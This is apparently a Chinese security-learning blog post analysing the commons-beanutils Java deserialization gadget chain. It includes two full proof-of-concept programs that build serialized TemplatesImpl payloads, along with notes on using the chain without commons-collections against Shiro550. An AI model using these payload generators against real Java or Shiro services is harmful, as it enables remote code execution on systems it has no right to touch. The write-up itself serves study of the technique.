JAVA反序列化——CB链

依赖

jdk:jdk8u65

CB:commons-beanutils 1.8.3

在pom.xml里添加

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

CommonsBeanutils利用点

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法

PropertyUtils.getProperty()传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

比如:

1
2
3
4
5
Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于
Person person = new Person("Mike");
person.getName();

除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, “b.c”); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter。

因此,如果getter方法存在可以rce的点可以利用的话,就存在安全问题了。

commons-beanutils里还有很多其他的辅助方法,setter等等,这里分析CB链暂时用不到。

利用链分析

在前面的CC3链中,我们提到过一种利用 TemplatesImpl 动态加载恶意类来实现rce

1
2
3
4
5
6
7
TemplatesImpl
getOutputProperties()
->newTransformer()
->getTransletInstance()
->defineTransletClasses()
TransletClassLoader:
->defineClass()

在之前的CC2/4的链中我们用到了java.util.PriorityQueue的readObject触发反序列化,主要是通过调用了其TransformingComparator的compare方法,进而调用了transform链的调用。

而 CommonsBeanutils 利用链中核心的触发位置就是 BeanComparator.compare() 函数,当调用BeanComparator.compare() 方法时,其内部会调用我们前面说的 getProperty 函数,进而调用JavaBean中对应属性的 getter 函数。

我们看看BeanComparator.compare()方法:

image-20240424124417697

这里会调用PropertyUtils.getProperty()方法 。

这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值。因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用TemplatesImpl.getOutputProperties() 往下就是TemplatesImpl的利用链。

那么往上找,哪里调用 compare()呢?

可以利用CC2/4链中的 PriorityQueue.readObject()


前面的CC2链文章提到了,queue的size应该大于等于2,而add()也会执行compare,由于在BeanComparator的compare()方法中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。所以在初始化的时候,我们add任意值,然后利用反射修改成恶意TemplateImpl 对象

1
2
3
4
5
6
7
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator);
queue.add(1);
queue.add(2);

setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数,修改成恶意TemplateImpl 对象
setFieldValue(comparator,"property","outputProperties"); //property赋值为TemplatesImpl的 outputProperties属性来调用后面的TemplatesImpl的利用链。

然后结合一下CC3的TemplatesImpl的利用链。

所以整条CB链子的流程是这样的:

1
2
3
4
5
6
7
8
9
10
PriorityQueue.readObject()
->BeanComparator.compare()
->PropertyUtils.getProperty()
TemplatesImpl类:
->getOutputProperties()
->newTransformer()
->getTransletInstance()
->defineTransletClasses()
TransletClassLoader类:
->defineClass()

完整CB链(with CC依赖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB_with_CC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//CC3
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "aaa");
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

//CB
BeanComparator Beancomparator = new BeanComparator();

//CC2
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator);
queue.add(1);
queue.add(2);

setFieldValue(Beancomparator,"property","outputProperties"); //property赋值为TemplatesImpl的outputProperties属性
setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数,修改成恶意TemplateImpl 对象

serialize(queue);
}

public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { //反射修改属性值
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}

}

问题

如果直接使用上面的链子打Shiro550会报错:没找到org.apache.commons.collections.comparators.ComparableComparator

从包名即可看出,这个类是来自于commons-collections,commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

那么有没有不需要依赖commons-collections的CB链呢?

答案是有的。

无CC依赖的Shiro反序列化利用链

看看org.apache.commons.collections.comparators.ComparableComparator这个类在哪里使用了:

3010963-20221114181650982-311705810

BeanComparator类的构造函数处,当没有显式传入Comparator的情况下,则默认使用 ComparableComparator

既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator接口

  • 实现java.io.Serializable接口

  • Java、shiro或commons-beanutils自带

对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。

存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

我们只需要利用反射,将对应的comparator写入属性中,就不需要依赖CC库了。

1
2
3
//下面这两个二选一都可以
setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());

完整CB链(without CC依赖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB_no_CC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "aaa");
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

BeanComparator Beancomparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator);
queue.add(1);
queue.add(2);

setFieldValue(Beancomparator,"property","outputProperties"); //property赋值为TemplatesImpl的outputProperties属性
setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数,修改成恶意TemplateImpl 对象
setFieldValue(Beancomparator, "comparator", String.CASE_INSENSITIVE_ORDER);
serialize(queue);
}

public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { //反射修改属性值
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}

}

参考链接:

Java反序列化Commons-Beanutils篇-CB链

CB利用链及无依赖打Shiro

commons-beanutils的三种利用原理构造与POC


JAVA反序列化——CB链
http://example.com/2024/04/24/JAVA反序列化-CB链/
作者
Infernity
发布于
2024年4月24日
许可协议